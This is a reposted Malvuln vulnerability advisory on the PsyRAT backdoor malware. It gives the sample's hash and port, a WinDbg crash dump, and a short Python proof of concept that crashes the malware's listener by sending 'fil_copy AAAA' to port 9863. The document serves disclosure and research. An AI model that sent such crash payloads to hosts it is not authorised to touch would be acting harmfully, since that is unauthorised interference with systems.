Share
## https://sploitus.com/exploit?id=PACKETSTORM:163667
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/5817183894cb513239f6aef28895130c_B.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.PsyRat.b  
Vulnerability: Remote Denial of Service  
Description: The PsyRAT 1.02 malware listens by default on TCP port 9863. Third-party attackers who can reach infected systems can send a specially crafted command payload that results in access violation and crash.  
Type: PE32  
MD5: 5817183894cb513239f6aef28895130c  
Vuln ID: MVID-2021-0307  
Dropped files: server.exe  
Disclosure: 07/26/2021  
  
Memory Dump:  
(f38.160c): Access violation - code c0000005 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=00000001 edx=0277c51c esi=00000003 edi=00000003  
eip=77e5ed3c esp=0277bbcc ebp=0277bd5c iopl=0 nv up ei pl nz na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206  
ntdll!NtWaitForMultipleObjects+0xc:  
77e5ed3c c21400 ret 14h  
  
0:001> .ecxr  
eax=00000000 ebx=765a38d0 ecx=00000001 edx=0277c51c esi=00000002 edi=0277cd04  
eip=77e4f80a esp=0277c508 ebp=0277c50c iopl=0 nv up ei pl nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202  
ntdll!RtlInitAnsiStringEx+0x1a:  
77e4f80a 8a01 mov al,byte ptr [ecx] ds:002b:00000001=??  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for kernel32.dll -   
  
0:001> !analyze -v  
*******************************************************************************  
* *  
* Exception Analysis *  
* *  
*******************************************************************************  
  
*** WARNING: Unable to verify checksum for server.exe  
*** ERROR: Module load completed but symbols could not be loaded for server.exe  
  
Failed calling InternetOpenUrl, GLE=12029  
  
FAULTING_IP:   
ntdll!RtlInitAnsiStringEx+1a  
77e4f80a 8a01 mov al,byte ptr [ecx]  
  
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)  
ExceptionAddress: 77e4f80a (ntdll!RtlInitAnsiStringEx+0x0000001a)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000000  
Parameter[1]: 00000001  
Attempt to read from address 00000001  
  
PROCESS_NAME: server.exe  
  
ADDITIONAL_DEBUG_TEXT:   
Use '!findthebuild' command to search for the target build information.  
If the build information is available, run '!findthebuild -s ; .reload' to set symbol path and load symbols.  
  
MODULE_NAME: server  
  
FAULTING_MODULE: 77df0000 ntdll  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 42827767  
  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_PARAMETER1: 00000000  
  
EXCEPTION_PARAMETER2: 00000001  
  
READ_ADDRESS: 00000001   
  
FOLLOWUP_IP:   
server+268d  
0040268d e9aaf1ffff jmp server+0x183c (0040183c)  
  
MOD_LIST: <ANALYSIS/>  
  
FAULTING_THREAD: 0000160c  
  
BUGCHECK_STR: APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_ONE_BIT_INVALID_POINTER_READ_WRONG_SYMBOLS  
  
PRIMARY_PROBLEM_CLASS: NULL_CLASS_PTR_DEREFERENCE_ONE_BIT  
  
DEFAULT_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_ONE_BIT  
  
LAST_CONTROL_TRANSFER: from 74c615ff to 77e4f80a  
  
STACK_TEXT:   
WARNING: Stack unwind information not available. Following frames may be wrong.  
0277c50c 74c615ff 0277c51c 00000001 00000000 ntdll!RtlInitAnsiStringEx+0x1a  
0277c528 74c6d9b5 0277c544 00000001 0277d38d kernel32!Basep8BitStringToDynamicUnicodeString+0x1f  
0277c54c 0040268d 0277c904 00000001 00000000 kernel32!CopyFileA+0x25  
0277c550 0277c904 00000001 00000000 00401610 server+0x268d  
0277c554 00000000 00000000 00401610 00401610 0x277c904  
  
  
STACK_COMMAND: ~1s; .ecxr ; kb  
  
SYMBOL_STACK_INDEX: 3  
  
SYMBOL_NAME: server+268d  
  
FOLLOWUP_NAME: MachineOwner  
  
IMAGE_NAME: server.exe  
  
BUCKET_ID: WRONG_SYMBOLS  
  
FAILURE_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_ONE_BIT_c0000005_server.exe!Unknown  
  
Exploit/PoC:  
from socket import *  
  
MALWARE_HOST="x.x.x.x"  
PORT=9863  
  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
s.send("\r\n")  
time.sleep(0.3)  
  
s.send("\r\n")  
time.sleep(0.3)  
  
PAYLOAD="fil_copy AAAA"  
s.send(PAYLOAD)  
s.close()  
  
print("Backdoor.Win32.PsyRat.b / Remote Denial of Service")  
print("MD5: 5817183894cb513239f6aef28895130c")  
print("By Malvuln")  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).